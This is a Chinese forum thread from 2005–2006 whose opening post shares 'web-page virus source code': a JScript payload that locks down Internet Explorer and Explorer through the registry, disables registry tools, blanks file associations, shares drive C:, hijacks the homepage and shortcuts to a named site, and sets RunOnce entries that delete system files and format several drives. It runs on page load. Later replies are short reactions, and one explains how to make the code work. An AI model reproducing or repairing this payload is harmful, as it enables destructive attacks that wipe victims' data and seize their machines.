dvbbs
收藏本页
联系我们
论坛帮助
dvbbs

堕落街论坛 → 休闲之乐 → 游戏体育 → 网页病毒源代码大全放送 （2）


  共有569人关注过本帖树形打印

主题：网页病毒源代码大全放送 （2）
帅哥哟，离线，有人找我吗？
一个人恋爱
 小大  1楼 个性首页 | 博客 | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信
等级：小三 主题：48 精华：0 贴子：163 排名：1439 威望：0 排名：0 注册：2005/10/9 14:58:00 近访：2007/5/25 21:28:15 		网页病毒源代码大全放送 （2）  发贴心情 Post By：2005/10/22 21:47:00

Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Ratings", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Certificates", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Formsuggest", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\FormSuggest Passwords\\", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Pronfiles", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\GeneralTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Cache", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Colors", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Fonts", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Languages", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Links", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\History", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ConnectionsTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Connection Settings", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Proxy", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ProgramsTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Check_If_Default", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\CalendarContact", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ResetWebSettings", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\AdvancedTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Advanced", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserContextMenu", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoOpenInNewWnd", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoSelectDownloadDir", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoSearchCustomization", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoExternalBranding", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFindFiles", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoJitsetup", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoSplash", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoUpdateCheck", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFindFiles", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserSaveAs", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserClose", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFileNew", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFileOpen", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoTheaterMode", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoViewSource", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBandcustomize", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoToolbarCustomize", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFavorites", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoAddingChannel", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoChannelUI", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserOptions", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoHelpItemNetScapeHelp", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoHelpItemTipOfTheDay", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoHelpitemTutorial", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoHelpItemSendFeedBack", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\sys tem\\DisableRegistryTools","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSetFolders","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserContextMenu","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserOptions","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserSaveAs","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoFileOpen","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoTheaterMode","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Advanced","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Cache Internet","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\AutoConfig","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\History","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Connwiz Admin Lock","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\Check_If_Default","1","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\ContentTab","1","REG_DWORD");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\First Home Page", "hhttp://lonsin.myrice.com/");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\","网络生化危机");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{21EC2020-3AEA-1069-A2DD-08002B30309D}\\","网络生化危机");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{2227A280-3AEA-1069-A2DE-08002B30309D}\\","网络生化危机");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{450D8FBA-AD25-11D0-98A8-0800361B1103}\\","网络生化危机");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\","网络生化危机");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{871C5380-42A0-1069-A2EA-08002B30309D}\\","网络生化危机");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{992CFFA0-F557-101A-88EC-00DD010CCC48}\\","网络生化危机");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{BDEADF00-C265-11d0-BCED-00A0C90AB50F}\\","网络生化危机");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{D6277990-4C6A-11CF-8D87-00AA0060F5BF}\\","网络生化危机");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Nodrives","1", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Flags",302,"REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\ RWC$\\Type",0,"REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Path","C:\\");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.inf\\","","REG_SZ");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.exe\\","","REG_SZ");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.ini\\","","REG_SZ");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.com\\","","REG_SZ");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.txt\\","","REG_SZ");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.reg\\","","REG_SZ");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\Folder\\shell\\open\\ddeexec\\","rem [ViewFolder(%l, %I, %S)]","REG_SZ");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\Folder\\shell\\explore\\ddeexec\\","rem [ViewFolder(%l, %I, %S)]","REG_SZ");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{01E04581-4EEE-11d0-BFE9-00AA005B4383}\\InProcServer32\\","C:\\Windows\\System\\Browseui.dll-","REG_SZ");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDesktop","00000001","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disabled", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000001", "REG_DWORD");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\\SchedulingAgent","","REG_SZ");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose","00000001","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoFileMenu","00000001","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSaveSettings","00000001","REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /m deltree /y c:\\windows\\Command\\Scanreg.exe /q /u /autorun");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /m del /y c:\\io.sys /q /u /autorun");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /m del /y c:\\msdos.sys /q /u /autorun");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /m format /y a:\\ /q /u /autorun");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /m format /y d:\\ /q /u /autorun");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /m format /y e:\\ /q /u /autorun");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /m format /y f:\\ /q /u /autorun");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\deltree.exe","start.exe /m format /y g:\\ /q /u /autorun");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\rundll.exe","rundll.exe user.exe,exitwindows");
WF = FSO.GetSpecialFolder(0);loc = WF + "\\system";
var Shor=Shl.CreateShortcut(loc + "\\"+"internet" +".URL");Shor.TargetPath="http://lonsin.myrice.com/";Shor.Save();
WF = FSO.GetSpecialFolder(0);loc = WF + "\\Favorites";
var Shor=Shl.CreateShortcut(loc + "\\"+"网络生化危机" +".URL");Shor.TargetPath="http://lonsin.myrice.com/";Shor.Save();
WF = FSO.GetSpecialFolder(0);loc = WF + "\\desktop";
var Shor=Shl.CreateShortcut(loc + "\\"+"Internet Explorer" +".URL");Shor.TargetPath="http://lonsin.myrice.com/";Shor.Save();
WF = FSO.GetSpecialFolder(0);loc = WF + "\\Start Menu";
var Shor=Shl.CreateShortcut(loc + "\\"+"网络生化危机" +".URL");Shor.TargetPath="http://www.n**ocus.com/main.php";Shor.Save();
WF = FSO.GetSpecialFolder(0);loc = WF + "\\Application Data\\Microsoft\\Internet Explorer\\Quick Launch";
var Shor=Shl.CreateShortcut(loc + "\\"+"网络生化危机" +".URL");Shor.TargetPath="http://lonsin.myrice.com/";Shor.Save();
WF = FSO.GetSpecialFolder(0);loc = WF + "\\Start Menu\\Programs";
var Shor=Shl.CreateShortcut(loc + "\\"+"网络生化危机" +".URL");Shor.TargetPath="http://lonsin.myrice.com/";Shor.Save();
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set home page
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
// end set IE Window Title
//add favorites this is the common part; should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//end common part

}
catch(e){ }
}
catch(e){ }
}
function init(){
setTimeout("f()", 1000);
}
init();</script><!-- / message -->


支持(0) 中立(0) 反对(0) 回到顶部
帅哥哟，离线，有人找我吗？
三零三的
 小大  2楼 个性首页 | 博客 | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信
等级：高一 主题：29 精华：0 贴子：898 排名：5893 威望：2 排名：538 注册：2005/7/31 11:08:00 近访：2006/10/11 11:43:14 		  发贴心情 Post By：2005/11/3 17:12:00

不会弄 顶一下了

支持(0) 中立(0) 反对(0) 回到顶部
帅哥哟，离线，有人找我吗？
伊义
 小大  3楼 个性首页 | 博客 | QQ | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信 水王元老执法TS 我不相信
等级：研二 主题：266 精华：1 贴子：7405 排名：22 威望：27 排名：49 注册：2004/5/24 12:46:00 近访：2025/11/7 20:30:54 		  发贴心情 Post By：2005/11/4 12:36:00

真的是强

吓人　啊


Media Star

再也不要孤单
支持(0) 中立(0) 反对(0) 回到顶部
帅哥哟，离线，有人找我吗？
dworld
 小大  4楼 个性首页 | 博客 | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信
等级：宝宝 主题：0 精华：0 贴子：4 排名：0 威望：0 排名：0 注册：2006/2/3 16:01:49 近访：2006/2/3 17:02:52 		  发贴心情 Post By：2006/2/3 16:46:00

还看不懂

支持(0) 中立(0) 反对(0) 回到顶部
帅哥哟，离线，有人找我吗？
伊义
 小大  5楼 个性首页 | 博客 | QQ | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信 水王元老执法TS 我不相信
等级：研二 主题：266 精华：1 贴子：7405 排名：22 威望：27 排名：49 注册：2004/5/24 12:46:00 近访：2025/11/7 20:30:54 		  发贴心情 Post By：2006/2/11 16:44:00

肯定看不了

又不是程序员


Media Star

再也不要孤单
支持(0) 中立(0) 反对(0) 回到顶部
帅哥哟，离线，有人找我吗？
~↘孤独
 小大  6楼 个性首页 | 博客 | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信
等级：小二 主题：9 精华：0 贴子：123 排名：0 威望：0 排名：0 注册：2006/2/12 13:02:28 近访：2006/2/16 2:38:07 		  发贴心情 Post By：2006/2/15 2:48:00

好象是asp的语句吧，不太懂，只会害人不会看，HOHO好象有死循环哦


知我者谓我心忧

不知我者谓我何求
支持(0) 中立(0) 反对(0) 回到顶部
帅哥哟，离线，有人找我吗？
伊义
 小大  7楼 个性首页 | 博客 | QQ | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信 水王元老执法TS 我不相信
等级：研二 主题：266 精华：1 贴子：7405 排名：22 威望：27 排名：49 注册：2004/5/24 12:46:00 近访：2025/11/7 20:30:54 		  发贴心情 Post By：2006/2/17 14:36:00

害人的东西还是省了把


Media Star

再也不要孤单
支持(0) 中立(0) 反对(0) 回到顶部
帅哥哟，离线，有人找我吗？
我最简单
 小大  8楼 个性首页 | 博客 | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信
等级：高二 主题：80 精华：0 贴子：1037 排名：9684 威望：17 排名：87 注册：2003/11/20 16:10:00 近访：2010/1/17 19:56:52 		  发贴心情 Post By：2006/2/20 19:15:00

这样的病毒根本传染不了..因为第一行就是错误的代码..

Shl对象没有实例化．根本无法产生效果,按程序的上下文来看的话shl应该是宿主对象

所以程序前边应该加上

Set Shl=CreateObject("Wscript.Shell");

WF对象是FSO操作．这应该是服务器类型操作.所以该类程序应该是服务器上传文件．然后执行．感染服务器用的..

简单分析....很少做VBS...一般写javascript

并不是很神秘的东西．.


      持身涉世,不可随境而迁.须是大火流金而清风穆然,严霜杀物而和气蔼然,阴霾翳空而慧日朗然,洪涛倒海而坻柱屹然,方是宇宙内的真人品.爱是万缘之根,当知割舍.识是众欲之本,要力扫除.作人要脱俗,不可存一矫俗之心;应世要随时,不可起一趋时之念.

<PS:我是流民!>
支持(0) 中立(0) 反对(0) 回到顶部
帅哥哟，离线，有人找我吗？
伊义
 小大  9楼 个性首页 | 博客 | QQ | 信息 | 搜索 | 邮箱 | 主页 | UC


加好友 发短信 水王元老执法TS 我不相信
等级：研二 主题：266 精华：1 贴子：7405 排名：22 威望：27 排名：49 注册：2004/5/24 12:46:00 近访：2025/11/7 20:30:54 		  发贴心情 Post By：2006/2/21 12:04:00

楼上的强

要和你学学


Media Star

再也不要孤单
支持(0) 中立(0) 反对(0) 回到顶部
RSS2.0　　Xhtml无图版　　Xslt无图版    Powered By Dvbbs Version 8.2.0
页面执行时间 00.06250 秒, 2 次数据查询